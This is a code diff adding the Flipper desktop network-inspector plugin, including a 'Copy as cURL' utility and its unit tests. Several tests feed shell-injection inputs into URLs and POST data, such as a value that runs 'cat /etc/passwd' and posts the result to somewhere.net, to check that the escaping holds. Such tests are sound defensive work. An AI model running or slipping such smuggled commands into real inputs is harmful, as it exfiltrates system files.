buildRow('First byte wait time', insights.timeToFirstByte, formatTime),
|
||||
buildRow('Data transfer time', insights.transferTime, formatTime),
|
||||
buildRow('Post processing time', insights.postProcessingTime, formatTime),
|
||||
buildRow('Bytes transfered', insights.bytesTransfered, formatBytes),
|
||||
buildRow('Transfer speed', insights.transferSpeed, formatSpeed),
|
||||
].filter(r => r != null);
|
||||
|
||||
return rows.length > 0 ? (
|
||||
<ManagedTable
|
||||
multiline={true}
|
||||
columnSizes={KeyValueColumnSizes}
|
||||
columns={KeyValueColumns}
|
||||
rows={rows}
|
||||
autoHeight={true}
|
||||
floating={false}
|
||||
zebra={false}
|
||||
/>
|
||||
) : null;
|
||||
}
|
||||
}
|
||||
147
desktop/plugins/network/__tests__/requestToCurlCommand.node.tsx
Normal file
147
desktop/plugins/network/__tests__/requestToCurlCommand.node.tsx
Normal file
@@ -0,0 +1,147 @@
|
||||
/**
|
||||
* Copyright (c) Facebook, Inc. and its affiliates.
|
||||
*
|
||||
* This source code is licensed under the MIT license found in the
|
||||
* LICENSE file in the root directory of this source tree.
|
||||
*
|
||||
* @format
|
||||
*/
|
||||
|
||||
import {convertRequestToCurlCommand} from '../utils';
|
||||
import {Request} from '../types';
|
||||
|
||||
test('convertRequestToCurlCommand: simple GET', () => {
|
||||
const request: Request = {
|
||||
id: 'request id',
|
||||
timestamp: 1234567890,
|
||||
method: 'GET',
|
||||
url: 'https://fbflipper.com/',
|
||||
headers: [],
|
||||
data: null,
|
||||
};
|
||||
|
||||
const command = convertRequestToCurlCommand(request);
|
||||
expect(command).toEqual("curl -v -X GET 'https://fbflipper.com/'");
|
||||
});
|
||||
|
||||
test('convertRequestToCurlCommand: simple POST', () => {
|
||||
const request: Request = {
|
||||
id: 'request id',
|
||||
timestamp: 1234567890,
|
||||
method: 'POST',
|
||||
url: 'https://fbflipper.com/',
|
||||
headers: [],
|
||||
data: btoa('some=data&other=param'),
|
||||
};
|
||||
|
||||
const command = convertRequestToCurlCommand(request);
|
||||
expect(command).toEqual(
|
||||
"curl -v -X POST 'https://fbflipper.com/' -d 'some=data&other=param'",
|
||||
);
|
||||
});
|
||||
|
||||
test('convertRequestToCurlCommand: malicious POST URL', () => {
|
||||
let request: Request = {
|
||||
id: 'request id',
|
||||
timestamp: 1234567890,
|
||||
method: 'POST',
|
||||
url: "https://fbflipper.com/'; cat /etc/password",
|
||||
headers: [],
|
||||
data: btoa('some=data&other=param'),
|
||||
};
|
||||
|
||||
let command = convertRequestToCurlCommand(request);
|
||||
expect(command).toEqual(
|
||||
"curl -v -X POST $'https://fbflipper.com/\\'; cat /etc/password' -d 'some=data&other=param'",
|
||||
);
|
||||
|
||||
request = {
|
||||
id: 'request id',
|
||||
timestamp: 1234567890,
|
||||
method: 'POST',
|
||||
url: 'https://fbflipper.com/"; cat /etc/password',
|
||||
headers: [],
|
||||
data: btoa('some=data&other=param'),
|
||||
};
|
||||
|
||||
command = convertRequestToCurlCommand(request);
|
||||
expect(command).toEqual(
|
||||
"curl -v -X POST 'https://fbflipper.com/\"; cat /etc/password' -d 'some=data&other=param'",
|
||||
);
|
||||
});
|
||||
|
||||
test('convertRequestToCurlCommand: malicious POST URL', () => {
|
||||
let request: Request = {
|
||||
id: 'request id',
|
||||
timestamp: 1234567890,
|
||||
method: 'POST',
|
||||
url: "https://fbflipper.com/'; cat /etc/password",
|
||||
headers: [],
|
||||
data: btoa('some=data&other=param'),
|
||||
};
|
||||
|
||||
let command = convertRequestToCurlCommand(request);
|
||||
expect(command).toEqual(
|
||||
"curl -v -X POST $'https://fbflipper.com/\\'; cat /etc/password' -d 'some=data&other=param'",
|
||||
);
|
||||
|
||||
request = {
|
||||
id: 'request id',
|
||||
timestamp: 1234567890,
|
||||
method: 'POST',
|
||||
url: 'https://fbflipper.com/"; cat /etc/password',
|
||||
headers: [],
|
||||
data: btoa('some=data&other=param'),
|
||||
};
|
||||
|
||||
command = convertRequestToCurlCommand(request);
|
||||
expect(command).toEqual(
|
||||
"curl -v -X POST 'https://fbflipper.com/\"; cat /etc/password' -d 'some=data&other=param'",
|
||||
);
|
||||
});
|
||||
|
||||
test('convertRequestToCurlCommand: malicious POST data', () => {
|
||||
let request: Request = {
|
||||
id: 'request id',
|
||||
timestamp: 1234567890,
|
||||
method: 'POST',
|
||||
url: 'https://fbflipper.com/',
|
||||
headers: [],
|
||||
data: btoa('some=\'; curl https://somewhere.net -d "$(cat /etc/passwd)"'),
|
||||
};
|
||||
|
||||
let command = convertRequestToCurlCommand(request);
|
||||
expect(command).toEqual(
|
||||
"curl -v -X POST 'https://fbflipper.com/' -d $'some=\\'; curl https://somewhere.net -d \"$(cat /etc/passwd)\"'",
|
||||
);
|
||||
|
||||
request = {
|
||||
id: 'request id',
|
||||
timestamp: 1234567890,
|
||||
method: 'POST',
|
||||
url: 'https://fbflipper.com/',
|
||||
headers: [],
|
||||
data: btoa('some=!!'),
|
||||
};
|
||||
|
||||
command = convertRequestToCurlCommand(request);
|
||||
expect(command).toEqual(
|
||||
"curl -v -X POST 'https://fbflipper.com/' -d $'some=\\u21\\u21'",
|
||||
);
|
||||
});
|
||||
|
||||
test('convertRequestToCurlCommand: control characters', () => {
|
||||
const request: Request = {
|
||||
id: 'request id',
|
||||
timestamp: 1234567890,
|
||||
method: 'GET',
|
||||
url: 'https://fbflipper.com/',
|
||||
headers: [],
|
||||
data: btoa('some=\u0007 \u0009 \u000C \u001B&other=param'),
|
||||
};
|
||||
|
||||
const command = convertRequestToCurlCommand(request);
|
||||
expect(command).toEqual(
|
||||
"curl -v -X GET 'https://fbflipper.com/' -d $'some=\\u07 \\u09 \\u0c \\u1b&other=param'",
|
||||
);
|
||||
});
|
||||
595
desktop/plugins/network/index.tsx
Normal file
595
desktop/plugins/network/index.tsx
Normal file
@@ -0,0 +1,595 @@
|
||||
/**
|
||||
* Copyright (c) Facebook, Inc. and its affiliates.
|
||||
*
|
||||
* This source code is licensed under the MIT license found in the
|
||||
* LICENSE file in the root directory of this source tree.
|
||||
*
|
||||
* @format
|
||||
*/
|
||||
|
||||
import {TableHighlightedRows, TableRows, TableBodyRow} from 'flipper';
|
||||
import {padStart} from 'lodash';
|
||||
import React from 'react';
|
||||
import {MenuItemConstructorOptions} from 'electron';
|
||||
|
||||
import {
|
||||
ContextMenu,
|
||||
FlexColumn,
|
||||
Button,
|
||||
Text,
|
||||
Glyph,
|
||||
colors,
|
||||
PureComponent,
|
||||
DetailSidebar,
|
||||
styled,
|
||||
SearchableTable,
|
||||
FlipperPlugin,
|
||||
} from 'flipper';
|
||||
import {Request, RequestId, Response} from './types';
|
||||
import {convertRequestToCurlCommand, getHeaderValue, decodeBody} from './utils';
|
||||
import RequestDetails from './RequestDetails';
|
||||
import {clipboard} from 'electron';
|
||||
import {URL} from 'url';
|
||||
import {DefaultKeyboardAction} from 'src/MenuBar';
|
||||
|
||||
type PersistedState = {
|
||||
requests: {[id: string]: Request};
|
||||
responses: {[id: string]: Response};
|
||||
};
|
||||
|
||||
type State = {
|
||||
selectedIds: Array<RequestId>;
|
||||
searchTerm: string;
|
||||
};
|
||||
|
||||
const COLUMN_SIZE = {
|
||||
requestTimestamp: 100,
|
||||
responseTimestamp: 100,
|
||||
domain: 'flex',
|
||||
method: 100,
|
||||
status: 70,
|
||||
size: 100,
|
||||
duration: 100,
|
||||
};
|
||||
|
||||
const COLUMN_ORDER = [
|
||||
{key: 'requestTimestamp', visible: true},
|
||||
{key: 'responseTimestamp', visible: false},
|
||||
{key: 'domain', visible: true},
|
||||
{key: 'method', visible: true},
|
||||
{key: 'status', visible: true},
|
||||
{key: 'size', visible: true},
|
||||
{key: 'duration', visible: true},
|
||||
];
|
||||
|
||||
const COLUMNS = {
|
||||
requestTimestamp: {value: 'Request Time'},
|
||||
responseTimestamp: {value: 'Response Time'},
|
||||
domain: {value: 'Domain'},
|
||||
method: {value: 'Method'},
|
||||
status: {value: 'Status'},
|
||||
size: {value: 'Size'},
|
||||
duration: {value: 'Duration'},
|
||||
};
|
||||
|
||||
export function formatBytes(count: number): string {
|
||||
if (count > 1024 * 1024) {
|
||||
return (count / (1024.0 * 1024)).toFixed(1) + ' MB';
|
||||
}
|
||||
if (count > 1024) {
|
||||
return (count / 1024.0).toFixed(1) + ' kB';
|
||||
}
|
||||
return count + ' B';
|
||||
}
|
||||
|
||||
const TextEllipsis = styled(Text)({
|
||||
overflowX: 'hidden',
|
||||
textOverflow: 'ellipsis',
|
||||
maxWidth: '100%',
|
||||
lineHeight: '18px',
|
||||
paddingTop: 4,
|
||||
});
|
||||
|
||||
export default class extends FlipperPlugin<State, any, PersistedState> {
|
||||
static keyboardActions: Array<DefaultKeyboardAction> = ['clear'];
|
||||
static subscribed = [];
|
||||
static defaultPersistedState = {
|
||||
requests: new Map(),
|
||||
responses: new Map(),
|
||||
};
|
||||
|
||||
static metricsReducer(persistedState: PersistedState) {
|
||||
const failures = Object.values(persistedState.responses).reduce(function(
|
||||
previous,
|
||||
values,
|
||||
) {
|
||||
return previous + (values.status >= 400 ? 1 : 0);
|
||||
},
|
||||
0);
|
||||
return Promise.resolve({NUMBER_NETWORK_FAILURES: failures});
|
||||
}
|
||||
|
||||
static persistedStateReducer(
|
||||
persistedState: PersistedState,
|
||||
method: string,
|
||||
data: Request | Response,
|
||||
) {
|
||||
switch (method) {
|
||||
case 'newRequest':
|
||||
return Object.assign({}, persistedState, {
|
||||
requests: {...persistedState.requests, [data.id]: data as Request},
|
||||
});
|
||||
case 'newResponse':
|
||||
return Object.assign({}, persistedState, {
|
||||
responses: {...persistedState.responses, [data.id]: data as Response},
|
||||
});
|
||||
default:
|
||||
return persistedState;
|
||||
}
|
||||
}
|
||||
|
||||
static serializePersistedState = (persistedState: PersistedState) => {
|
||||
return Promise.resolve(JSON.stringify(persistedState));
|
||||
};
|
||||
|
||||
static deserializePersistedState = (serializedString: string) => {
|
||||
return JSON.parse(serializedString);
|
||||
};
|
||||
|
||||
static getActiveNotifications(persistedState: PersistedState) {
|
||||
const responses = persistedState
|
||||
? persistedState.responses || new Map()
|
||||
: new Map();
|
||||
const r: Array<Response> = Object.values(responses);
|
||||
return (
|
||||
r
|
||||
// Show error messages for all status codes indicating a client or server error
|
||||
.filter((response: Response) => response.status >= 400)
|
||||
.map((response: Response) => {
|
||||
const request = persistedState.requests[response.id];
|
||||
const url: string = (request && request.url) || '(URL missing)';
|
||||
return {
|
||||
id: response.id,
|
||||
title: `HTTP ${response.status}: Network request failed`,
|
||||
message: `Request to ${url} failed. ${response.reason}`,
|
||||
severity: 'error' as 'error',
|
||||
timestamp: response.timestamp,
|
||||
category: `HTTP${response.status}`,
|
||||
action: response.id,
|
||||
};
|
||||
})
|
||||
);
|
||||
}
|
||||
|
||||
onKeyboardAction = (action: string) => {
|
||||
if (action === 'clear') {
|
||||
this.clearLogs();
|
||||
}
|
||||
};
|
||||
|
||||
parseDeepLinkPayload = (deepLinkPayload: string | null) => {
|
||||
const searchTermDelim = 'searchTerm=';
|
||||
if (deepLinkPayload === null) {
|
||||
return {
|
||||
selectedIds: [],
|
||||
searchTerm: '',
|
||||
};
|
||||
} else if (deepLinkPayload.startsWith(searchTermDelim)) {
|
||||
return {
|
||||
selectedIds: [],
|
||||
searchTerm: deepLinkPayload.slice(searchTermDelim.length),
|
||||
};
|
||||
}
|
||||
return {
|
||||
selectedIds: [deepLinkPayload],
|
||||
searchTerm: '',
|
||||
};
|
||||
};
|
||||
|
||||
state = this.parseDeepLinkPayload(this.props.deepLinkPayload);
|
||||
|
||||
onRowHighlighted = (selectedIds: Array<RequestId>) =>
|
||||
this.setState({selectedIds});
|
||||
|
||||
copyRequestCurlCommand = () => {
|
||||
const {requests} = this.props.persistedState;
|
||||
const {selectedIds} = this.state;
|
||||
// Ensure there is only one row highlighted.
|
||||
if (selectedIds.length !== 1) {
|
||||
return;
|
||||
}
|
||||
|
||||
const request = requests[selectedIds[0]];
|
||||
if (!request) {
|
||||
return;
|
||||
}
|
||||
const command = convertRequestToCurlCommand(request);
|
||||
clipboard.writeText(command);
|
||||
};
|
||||
|
||||
clearLogs = () => {
|
||||
this.setState({selectedIds: []});
|
||||
this.props.setPersistedState({responses: {}, requests: {}});
|
||||
};
|
||||
|
||||
renderSidebar = () => {
|
||||
const {requests, responses} = this.props.persistedState;
|
||||
const {selectedIds} = this.state;
|
||||
const selectedId = selectedIds.length === 1 ? selectedIds[0] : null;
|
||||
|
||||
if (!selectedId) {
|
||||
return null;
|
||||
}
|
||||
const requestWithId = requests[selectedId];
|
||||
if (!requestWithId) {
|
||||
return null;
|
||||
}
|
||||
return (
|
||||
<RequestDetails
|
||||
key={selectedId}
|
||||
request={requestWithId}
|
||||
response={responses[selectedId]}
|
||||
/>
|
||||
);
|
||||
};
|
||||
|
||||
render() {
|
||||
const {requests, responses} = this.props.persistedState;
|
||||
|
||||
return (
|
||||
<FlexColumn grow={true}>
|
||||
<NetworkTable
|
||||
requests={requests || {}}
|
||||
responses={responses || {}}
|
||||
clear={this.clearLogs}
|
||||
copyRequestCurlCommand={this.copyRequestCurlCommand}
|
||||
onRowHighlighted={this.onRowHighlighted}
|
||||
highlightedRows={
|
||||
this.state.selectedIds ? new Set(this.state.selectedIds) : null
|
||||
}
|
||||
searchTerm={this.state.searchTerm}
|
||||
/>
|
||||
<DetailSidebar width={500}>{this.renderSidebar()}</DetailSidebar>
|
||||
</FlexColumn>
|
||||
);
|
||||
}
|
||||
}
|
||||
|
||||
type NetworkTableProps = {
|
||||
requests: {[id: string]: Request};
|
||||
responses: {[id: string]: Response};
|
||||
clear: () => void;
|
||||
copyRequestCurlCommand: () => void;
|
||||
onRowHighlighted: (keys: TableHighlightedRows) => void;
|
||||
highlightedRows: Set<string> | null | undefined;
|
||||
searchTerm: string;
|
||||
};
|
||||
|
||||
type NetworkTableState = {
|
||||
sortedRows: TableRows;
|
||||
};
|
||||
|
||||
function formatTimestamp(timestamp: number): string {
|
||||
const date = new Date(timestamp);
|
||||
return `${padStart(date.getHours().toString(), 2, '0')}:${padStart(
|
||||
date.getMinutes().toString(),
|
||||
2,
|
||||
'0',
|
||||
)}:${padStart(date.getSeconds().toString(), 2, '0')}.${padStart(
|
||||
date.getMilliseconds().toString(),
|
||||
3,
|
||||
'0',
|
||||
)}`;
|
||||
}
|
||||
|
||||
function buildRow(
|
||||
request: Request,
|
||||
response: Response | null | undefined,
|
||||
): TableBodyRow | null | undefined {
|
||||
if (request == null) {
|
||||
return null;
|
||||
}
|
||||
const url = new URL(request.url);
|
||||
const domain = url.host + url.pathname;
|
||||
const friendlyName = getHeaderValue(request.headers, 'X-FB-Friendly-Name');
|
||||
|
||||
let copyText = `# HTTP request for ${domain} (ID: ${request.id})
|
||||
## Request
|
||||
HTTP ${request.method} ${request.url}
|
||||
${request.headers
|
||||
.map(
|
||||
({key, value}: {key: string; value: string}): string =>
|
||||
`${key}: ${String(value)}`,
|
||||
)
|
||||
.join('\n')}`;
|
||||
|
||||
const requestData = request.data ? decodeBody(request) : null;
|
||||
const responseData = response && response.data ? decodeBody(response) : null;
|
||||
|
||||
if (requestData) {
|
||||
copyText += `\n\n${requestData}`;
|
||||
}
|
||||
|
||||
if (response) {
|
||||
copyText += `
|
||||
|
||||
## Response
|
||||
HTTP ${response.status} ${response.reason}
|
||||
${response.headers
|
||||
.map(
|
||||
({key, value}: {key: string; value: string}): string =>
|
||||
`${key}: ${String(value)}`,
|
||||
)
|
||||
.join('\n')}`;
|
||||
}
|
||||
|
||||
if (responseData) {
|
||||
copyText += `\n\n${responseData}`;
|
||||
}
|
||||
|
||||
return {
|
||||
columns: {
|
||||
requestTimestamp: {
|
||||
value: (
|
||||
<TextEllipsis>{formatTimestamp(request.timestamp)}</TextEllipsis>
|
||||
),
|
||||
},
|
||||
responseTimestamp: {
|
||||
value: (
|
||||
<TextEllipsis>
|
||||
{response && formatTimestamp(response.timestamp)}
|
||||
</TextEllipsis>
|
||||
),
|
||||
},
|
||||
domain: {
|
||||
value: (
|
||||
<TextEllipsis>{friendlyName ? friendlyName : domain}</TextEllipsis>
|
||||
),
|
||||
isFilterable: true,
|
||||
},
|
||||
method: {
|
||||
value: <TextEllipsis>{request.method}</TextEllipsis>,
|
||||
isFilterable: true,
|
||||
},
|
||||
status: {
|
||||
value: (
|
||||
<StatusColumn>{response ? response.status : undefined}</StatusColumn>
|
||||
),
|
||||
isFilterable: true,
|
||||
},
|
||||
size: {
|
||||
value: <SizeColumn response={response ? response : undefined} />,
|
||||
},
|
||||
duration: {
|
||||
value: <DurationColumn request={request} response={response} />,
|
||||
},
|
||||
},
|
||||
key: request.id,
|
||||
filterValue: `${request.method} ${request.url}`,
|
||||
sortKey: request.timestamp,
|
||||
copyText,
|
||||
highlightOnHover: true,
|
||||
requestBody: requestData,
|
||||
responseBody: responseData,
|
||||
};
|
||||
}
|
||||
|
||||
function calculateState(
|
||||
props: {
|
||||
requests: {[id: string]: Request};
|
||||
responses: {[id: string]: Response};
|
||||
},
|
||||
nextProps: NetworkTableProps,
|
||||
rows: TableRows = [],
|
||||
): NetworkTableState {
|
||||
rows = [...rows];
|
||||
|
||||
if (Object.keys(nextProps.requests).length === 0) {
|
||||
// cleared
|
||||
rows = [];
|
||||
} else if (props.requests !== nextProps.requests) {
|
||||
// new request
|
||||
for (const [requestId, request] of Object.entries(nextProps.requests)) {
|
||||
if (props.requests[requestId] == null) {
|
||||
const newRow = buildRow(request, nextProps.responses[requestId]);
|
||||
if (newRow) {
|
||||
rows.push(newRow);
|
||||
}
|
||||
}
|
||||
}
|
||||
} else if (props.responses !== nextProps.responses) {
|
||||
// new or updated response
|
||||
const resId = Object.keys(nextProps.responses).find(
|
||||
(responseId: RequestId) =>
|
||||
props.responses[responseId] !== nextProps.responses[responseId],
|
||||
);
|
||||
if (resId) {
|
||||
const request = nextProps.requests[resId];
|
||||
// sanity check; to pass null check
|
||||
if (request) {
|
||||
const newRow = buildRow(request, nextProps.responses[resId]);
|
||||
const index = rows.findIndex((r: TableBodyRow) => r.key === request.id);
|
||||
if (index > -1 && newRow) {
|
||||
rows[index] = newRow;
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
rows.sort(
|
||||
(a: TableBodyRow, b: TableBodyRow) =>
|
||||
(a.sortKey as number) - (b.sortKey as number),
|
||||
);
|
||||
|
||||
return {
|
||||
sortedRows: rows,
|
||||
};
|
||||
}
|
||||
|
||||
class NetworkTable extends PureComponent<NetworkTableProps, NetworkTableState> {
|
||||
static ContextMenu = styled(ContextMenu)({
|
||||
flex: 1,
|
||||
});
|
||||
|
||||
constructor(props: NetworkTableProps) {
|
||||
super(props);
|
||||
this.state = calculateState(
|
||||
{
|
||||
requests: {},
|
||||
responses: {},
|
||||
},
|
||||
props,
|
||||
);
|
||||
}
|
||||
|
||||
UNSAFE_componentWillReceiveProps(nextProps: NetworkTableProps) {
|
||||
this.setState(calculateState(this.props, nextProps, this.state.sortedRows));
|
||||
}
|
||||
|
||||
contextMenuItems(): Array<MenuItemConstructorOptions> {
|
||||
type ContextMenuType =
|
||||
| 'normal'
|
||||
| 'separator'
|
||||
| 'submenu'
|
||||
| 'checkbox'
|
||||
| 'radio';
|
||||
const separator: ContextMenuType = 'separator';
|
||||
const {clear, copyRequestCurlCommand, highlightedRows} = this.props;
|
||||
const highlightedMenuItems =
|
||||
highlightedRows && highlightedRows.size === 1
|
||||
? [
|
||||
{
|
||||
type: separator,
|
||||
},
|
||||
{
|
||||
label: 'Copy as cURL',
|
||||
click: copyRequestCurlCommand,
|
||||
},
|
||||
]
|
||||
: [];
|
||||
|
||||
return highlightedMenuItems.concat([
|
||||
{
|
||||
type: separator,
|
||||
},
|
||||
{
|
||||
label: 'Clear all',
|
||||
click: clear,
|
||||
},
|
||||
]);
|
||||
}
|
||||
|
||||
render() {
|
||||
return (
|
||||
<NetworkTable.ContextMenu
|
||||
items={this.contextMenuItems()}
|
||||
component={FlexColumn}>
|
||||
<SearchableTable
|
||||
virtual={true}
|
||||
multiline={false}
|
||||
multiHighlight={true}
|
||||
stickyBottom={true}
|
||||
floating={false}
|
||||
columnSizes={COLUMN_SIZE}
|
||||
columns={COLUMNS}
|
||||
columnOrder={COLUMN_ORDER}
|
||||
rows={this.state.sortedRows}
|
||||
onRowHighlighted={this.props.onRowHighlighted}
|
||||
highlightedRows={this.props.highlightedRows}
|
||||
rowLineHeight={26}
|
||||
allowRegexSearch={true}
|
||||
allowBodySearch={true}
|
||||
zebra={false}
|
||||
actions={<Button onClick={this.props.clear}>Clear Table</Button>}
|
||||
clearSearchTerm={this.props.searchTerm !== ''}
|
||||
defaultSearchTerm={this.props.searchTerm}
|
||||
/>
|
||||
</NetworkTable.ContextMenu>
|
||||
);
|
||||
}
|
||||
}
|
||||
|
||||
const Icon = styled(Glyph)({
|
||||
marginTop: -3,
|
||||
marginRight: 3,
|
||||
});
|
||||
|
||||
class StatusColumn extends PureComponent<{
|
||||
children?: number;
|
||||
}> {
|
||||
render() {
|
||||
const {children} = this.props;
|
||||
let glyph;
|
||||
|
||||
if (children != null && children >= 400 && children < 600) {
|
||||
glyph = <Icon name="stop" color={colors.red} />;
|
||||
}
|
||||
|
||||
return (
|
||||
<TextEllipsis>
|
||||
{glyph}
|
||||
{children}
|
||||
</TextEllipsis>
|
||||
);
|
||||
}
|
||||
}
|
||||
|
||||
class DurationColumn extends PureComponent<{
|
||||
request: Request;
|
||||
response: Response | null | undefined;
|
||||
}> {
|
||||
static Text = styled(Text)({
|
||||
flex: 1,
|
||||
textAlign: 'right',
|
||||
paddingRight: 10,
|
||||
});
|
||||
|
||||
render() {
|
||||
const {request, response} = this.props;
|
||||
const duration = response
|
||||
? response.timestamp - request.timestamp
|
||||
: undefined;
|
||||
return (
|
||||
<DurationColumn.Text selectable={false}>
|
||||
{duration != null ? duration.toLocaleString() + 'ms' : ''}
|
||||
</DurationColumn.Text>
|
||||
);
|
||||
}
|
||||
}
|
||||
|
||||
class SizeColumn extends PureComponent<{
|
||||
response: Response | null | undefined;
|
||||
}> {
|
||||
static Text = styled(Text)({
|
||||
flex: 1,
|
||||
textAlign: 'right',
|
||||
paddingRight: 10,
|
||||
});
|
||||
|
||||
render() {
|
||||
const {response} = this.props;
|
||||
if (response) {
|
||||
const text = formatBytes(this.getResponseLength(response));
|
||||
return <SizeColumn.Text>{text}</SizeColumn.Text>;
|
||||
} else {
|
||||
return null;
|
||||
}
|
||||
}
|
||||
|
||||
getResponseLength(response: Response | null | undefined) {
|
||||
if (!response) {
|
||||
return 0;
|
||||
}
|
||||
|
||||
let length = 0;
|
||||
const lengthString = response.headers
|
||||
? getHeaderValue(response.headers, 'content-length')
|
||||
: undefined;
|
||||
if (lengthString != null && lengthString != '') {
|
||||
length = parseInt(lengthString, 10);
|
||||
} else if (response.data) {
|
||||
length = Buffer.byteLength(response.data, 'base64');
|
||||
}
|
||||
return length;
|
||||
}
|
||||
}
|
||||
19
desktop/plugins/network/package.json
Normal file
19
desktop/plugins/network/package.json
Normal file
@@ -0,0 +1,19 @@
|
||||
{
|
||||
"name": "Network",
|
||||
"version": "1.0.0",
|
||||
"main": "index.tsx",
|
||||
"license": "MIT",
|
||||
"keywords": ["flipper-plugin"],
|
||||
"dependencies": {
|
||||
"pako": "^1.0.11",
|
||||
"@types/pako": "^1.0.1",
|
||||
"xml-beautifier": "^0.4.0",
|
||||
"lodash": "^4.17.11"
|
||||
},
|
||||
"icon": "internet",
|
||||
"title": "Network",
|
||||
"bugs": {
|
||||
"email": "oncall+flipper@xmail.facebook.com",
|
||||
"url": "https://fb.workplace.com/groups/flippersupport/"
|
||||
}
|
||||
}
|
||||
55
desktop/plugins/network/types.tsx
Normal file
55
desktop/plugins/network/types.tsx
Normal file
@@ -0,0 +1,55 @@
|
||||
/**
|
||||
* Copyright (c) Facebook, Inc. and its affiliates.
|
||||
*
|
||||
* This source code is licensed under the MIT license found in the
|
||||
* LICENSE file in the root directory of this source tree.
|
||||
*
|
||||
* @format
|
||||
*/
|
||||
|
||||
export type RequestId = string;
|
||||
|
||||
export type Request = {
|
||||
id: RequestId;
|
||||
timestamp: number;
|
||||
method: string;
|
||||
url: string;
|
||||
headers: Array<Header>;
|
||||
data: string | null | undefined;
|
||||
};
|
||||
|
||||
export type Response = {
|
||||
id: RequestId;
|
||||
timestamp: number;
|
||||
status: number;
|
||||
reason: string;
|
||||
headers: Array<Header>;
|
||||
data: string | null | undefined;
|
||||
insights: Insights | null | undefined;
|
||||
};
|
||||
|
||||
export type Header = {
|
||||
key: string;
|
||||
value: string;
|
||||
};
|
||||
|
||||
export type RetryInsights = {
|
||||
count: number;
|
||||
limit: number;
|
||||
timeSpent: number;
|
||||
};
|
||||
|
||||
export type Insights = {
|
||||
dnsLookupTime: number | null | undefined;
|
||||
connectTime: number | null | undefined;
|
||||
sslHandshakeTime: number | null | undefined;
|
||||
preTransferTime: number | null | undefined;
|
||||
redirectsTime: number | null | undefined;
|
||||
timeToFirstByte: number | null | undefined;
|
||||
transferTime: number | null | undefined;
|
||||
postProcessingTime: number | null | undefined;
|
||||
// Amount of transferred data can be different from total size of payload.
|
||||
bytesTransfered: number | null | undefined;
|
||||
transferSpeed: number | null | undefined;
|
||||
retries: RetryInsights | null | undefined;
|
||||
};
|
||||
103
desktop/plugins/network/utils.tsx
Normal file
103
desktop/plugins/network/utils.tsx
Normal file
@@ -0,0 +1,103 @@
|
||||
/**
|
||||
* Copyright (c) Facebook, Inc. and its affiliates.
|
||||
*
|
||||
* This source code is licensed under the MIT license found in the
|
||||
* LICENSE file in the root directory of this source tree.
|
||||
*
|
||||
* @format
|
||||
*/
|
||||
|
||||
import pako from 'pako';
|
||||
import {Request, Response, Header} from './types';
|
||||
|
||||
export function getHeaderValue(headers: Array<Header>, key: string): string {
|
||||
for (const header of headers) {
|
||||
if (header.key.toLowerCase() === key.toLowerCase()) {
|
||||
return header.value;
|
||||
}
|
||||
}
|
||||
return '';
|
||||
}
|
||||
|
||||
export function decodeBody(container: Request | Response): string {
|
||||
if (!container.data) {
|
||||
return '';
|
||||
}
|
||||
|
||||
const b64Decoded = atob(container.data);
|
||||
try {
|
||||
if (getHeaderValue(container.headers, 'Content-Encoding') === 'gzip') {
|
||||
// for gzip, use pako to decompress directly to unicode string
|
||||
return decompress(b64Decoded);
|
||||
}
|
||||
|
||||
// Data is transferred as base64 encoded bytes to support unicode characters,
|
||||
// we need to decode the bytes here to display the correct unicode characters.
|
||||
return decodeURIComponent(escape(b64Decoded));
|
||||
} catch (e) {
|
||||
console.warn('Discarding malformed body:', escape(b64Decoded));
|
||||
return '';
|
||||
}
|
||||
}
|
||||
|
||||
function decompress(body: string): string {
|
||||
const charArray = body.split('').map(x => x.charCodeAt(0));
|
||||
|
||||
const byteArray = new Uint8Array(charArray);
|
||||
|
||||
try {
|
||||
if (body) {
|
||||
return pako.inflate(byteArray, {to: 'string'});
|
||||
} else {
|
||||
return body;
|
||||
}
|
||||
} catch (e) {
|
||||
// Sometimes Content-Encoding is 'gzip' but the body is already decompressed.
|
||||
// Assume this is the case when decompression fails.
|
||||
}
|
||||
|
||||
return body;
|
||||
}
|
||||
|
||||
export function convertRequestToCurlCommand(request: Request): string {
|
||||
let command: string = `curl -v -X ${request.method}`;
|
||||
command += ` ${escapedString(request.url)}`;
|
||||
// Add headers
|
||||
request.headers.forEach((header: Header) => {
|
||||
const headerStr = `${header.key}: ${header.value}`;
|
||||
command += ` -H ${escapedString(headerStr)}`;
|
||||
});
|
||||
// Add body
|
||||
const body = decodeBody(request);
|
||||
if (body) {
|
||||
command += ` -d ${escapedString(body)}`;
|
||||
}
|
||||
return command;
|
||||
}
|
||||
|
||||
function escapeCharacter(x: string) {
|
||||
const code = x.charCodeAt(0);
|
||||
return code < 16 ? '\\u0' + code.toString(16) : '\\u' + code.toString(16);
|
||||
}
|
||||
|
||||
const needsEscapingRegex = /[\u0000-\u001f\u007f-\u009f!]/g;
|
||||
|
||||
// Escape util function, inspired by Google DevTools. Works only for POSIX
|
||||
// based systems.
|
||||
function escapedString(str: string) {
|
||||
if (needsEscapingRegex.test(str) || str.includes("'")) {
|
||||
return (
|
||||
"$'" +
|
||||
str
|
||||
.replace(/\\/g, '\\\\')
|
||||
.replace(/\'/g, "\\'")
|
||||
.replace(/\n/g, '\\n')
|
||||
.replace(/\r/g, '\\r')
|
||||
.replace(needsEscapingRegex, escapeCharacter) +
|
||||
"'"
|
||||
);
|
||||
}
|
||||
|
||||
// Simply use singly quoted string.
|
||||
return "'" + str + "'";
|
||||
}
|
||||
30
desktop/plugins/network/yarn.lock
Normal file
30
desktop/plugins/network/yarn.lock
Normal file
@@ -0,0 +1,30 @@
|
||||
# THIS IS AN AUTOGENERATED FILE. DO NOT EDIT THIS FILE DIRECTLY.
|
||||
# yarn lockfile v1
|
||||
|
||||
|
||||
"@types/pako@^1.0.1":
|
||||
version "1.0.1"
|
||||
resolved "https://registry.yarnpkg.com/@types/pako/-/pako-1.0.1.tgz#33b237f3c9aff44d0f82fe63acffa4a365ef4a61"
|
||||
integrity sha512-GdZbRSJ3Cv5fiwT6I0SQ3ckeN2PWNqxd26W9Z2fCK1tGrrasGy4puvNFtnddqH9UJFMQYXxEuuB7B8UK+LLwSg==
|
||||
|
||||
lodash@^4.17.11:
|
||||
version "4.17.15"
|
||||
resolved "https://registry.yarnpkg.com/lodash/-/lodash-4.17.15.tgz#b447f6670a0455bbfeedd11392eff330ea097548"
|
||||
integrity sha512-8xOcRHvCjnocdS5cpwXQXVzmmh5e5+saE2QGoeQmbKmRS6J3VQppPOIt0MnmE+4xlZoumy0GPG0D0MVIQbNA1A==
|
||||
|
||||
pako@^1.0.11:
|
||||
